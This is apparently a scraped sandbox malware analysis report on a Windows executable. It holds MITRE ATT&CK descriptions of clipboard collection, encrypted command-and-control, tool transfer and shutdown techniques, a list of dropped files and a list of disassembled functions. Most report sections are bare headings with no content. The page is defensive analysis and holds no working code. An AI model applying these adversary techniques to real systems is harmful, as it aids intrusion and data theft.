Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ar[2].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ss[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\ar[2].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\ar[1].php

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\erku (copy)

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\is-FJM9D.tmp

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\is-GGPGD.tmp

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\is-OHHHS.tmp

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\is-T7UL9.tmp

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\ret (copy)

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe (copy)

C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll

C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\s

C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\status.log

C:\Users\user\AppData\Local\Temp\nsv1A16.tmp

C:\Windows\is-J0573.tmp

C:\Windows\unins000.dat

Windows Analysis Report
A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Function 00405042 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 00403A45 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004036AF Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00404060 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Function 00402C72 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 203
memoryCOMMON

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00402F18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
fileCOMMON

Function 00403043 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108
fileCOMMON